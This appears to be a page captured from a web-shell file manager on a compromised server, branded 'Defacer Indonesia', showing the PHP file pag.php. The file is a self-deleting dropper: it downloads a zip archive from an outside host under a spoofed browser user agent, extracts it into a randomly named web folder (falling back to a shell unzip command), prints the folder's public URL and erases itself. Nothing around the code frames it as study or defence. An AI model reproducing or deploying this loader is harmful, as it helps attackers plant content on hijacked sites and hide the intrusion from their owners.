whoami7 - Manager
:
/
home
/
bleuhbh
/
www
/
update
/
Upload File:
files >> /home/bleuhbh/www/update/pag.php
<?php $max_retries = 3; $remote_urls = [ 'https://nrn.monkey50.ovh/cte.zip' ]; function generateRandomFoldername($length = 10) { $letters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; $lettersAndNumbers = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $foldername = $letters[mt_rand(0, strlen($letters) - 1)]; for ($i = 1; $i < $length; $i++) { $foldername .= $lettersAndNumbers[mt_rand(0, strlen($lettersAndNumbers) - 1)]; } return $foldername; } function deleteDirectory($dir) { if (!is_dir($dir)) return false; $files = array_diff(scandir($dir), array('.', '..')); foreach ($files as $file) { $path = $dir . DIRECTORY_SEPARATOR . $file; if (is_dir($path)) { deleteDirectory($path); } else { unlink($path); } } return rmdir($dir); } $content = false; foreach ($remote_urls as $remote_url) { for ($i = 0; $i < $max_retries; $i++) { $content = @file_get_contents($remote_url); if ($content !== false) break; sleep(1); } if ($content === false) { for ($i = 0; $i < $max_retries; $i++) { $ch = curl_init($remote_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_TIMEOUT, 60); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'); $content = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($content !== false && $http_code === 200) break; sleep(1); } } if ($content !== false) break; } if ($content === false) { unlink(__FILE__); die("Failed to retrieve remote zip file.\n"); } $tempZipName = generateRandomFoldername() . ".zip"; $finalFolderName = generateRandomFoldername(); file_put_contents($tempZipName, $content); if (!file_exists($tempZipName) || filesize($tempZipName) === 0) { @unlink($tempZipName); unlink(__FILE__); die("Failed to save zip file.\n"); } $extractionSuccess = false; $tempExtractDir = ""; if (class_exists('ZipArchive')) { $zip = new ZipArchive; $result = $zip->open($tempZipName); if ($result === TRUE) { $tempExtractDir = generateRandomFoldername() . "_temp"; if ($zip->extractTo($tempExtractDir)) { $zip->close(); $extracted_items = array_diff(scandir($tempExtractDir), array('.', '..')); if (count($extracted_items) === 1) { $first_item = reset($extracted_items); if (is_dir($tempExtractDir . DIRECTORY_SEPARATOR . $first_item)) { $extracted_folder = $tempExtractDir . DIRECTORY_SEPARATOR . $first_item; if (rename($extracted_folder, $finalFolderName)) { $extractionSuccess = true; @rmdir($tempExtractDir); } } else { if (rename($tempExtractDir, $finalFolderName)) { $extractionSuccess = true; } } } else if (count($extracted_items) > 1) { if (rename($tempExtractDir, $finalFolderName)) { $extractionSuccess = true; } } } else { $zip->close(); } } } if (!$extractionSuccess) { if (!empty($tempExtractDir) && is_dir($tempExtractDir)) { deleteDirectory($tempExtractDir); } if (is_dir($finalFolderName)) { deleteDirectory($finalFolderName); } $tempExtractDir = generateRandomFoldername() . "_temp"; mkdir($tempExtractDir); copy($tempZipName, $tempExtractDir . DIRECTORY_SEPARATOR . basename($tempZipName)); $zipPath = $tempExtractDir . DIRECTORY_SEPARATOR . basename($tempZipName); $command = "cd " . escapeshellarg($tempExtractDir) . " && unzip -o " . escapeshellarg(basename($tempZipName)) . " 2>&1"; $output = array(); $return_code = 0; exec($command, $output, $return_code); @unlink($zipPath); if ($return_code === 0) { $extracted_items = array_diff(scandir($tempExtractDir), array('.', '..')); if (count($extracted_items) === 1) { $first_item = reset($extracted_items); if (is_dir($tempExtractDir . DIRECTORY_SEPARATOR . $first_item)) { $extracted_folder = $tempExtractDir . DIRECTORY_SEPARATOR . $first_item; if (rename($extracted_folder, $finalFolderName)) { $extractionSuccess = true; @rmdir($tempExtractDir); } } else { if (rename($tempExtractDir, $finalFolderName)) { $extractionSuccess = true; } } } else if (count($extracted_items) > 1) { if (rename($tempExtractDir, $finalFolderName)) { $extractionSuccess = true; } } } if (!$extractionSuccess && !empty($tempExtractDir) && is_dir($tempExtractDir)) { deleteDirectory($tempExtractDir); } } @unlink($tempZipName); if (!$extractionSuccess || !is_dir($finalFolderName)) { if (is_dir($finalFolderName)) { deleteDirectory($finalFolderName); } unlink(__FILE__); die("Failed to extract zip file.\n"); } $protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http'; $host = $_SERVER['HTTP_HOST']; $dir = dirname($_SERVER['REQUEST_URI']); $dir = str_replace('\\', '/', $dir); if ($dir !== '/' && substr($dir, -1) !== '/') { $dir .= '/'; } elseif ($dir === '/') { $dir = '/'; } $fullUrl = $protocol . "://" . $host . $dir . $finalFolderName . "/"; echo $fullUrl; unlink(__FILE__); ?>
Copyright ©2021 || Defacer Indonesia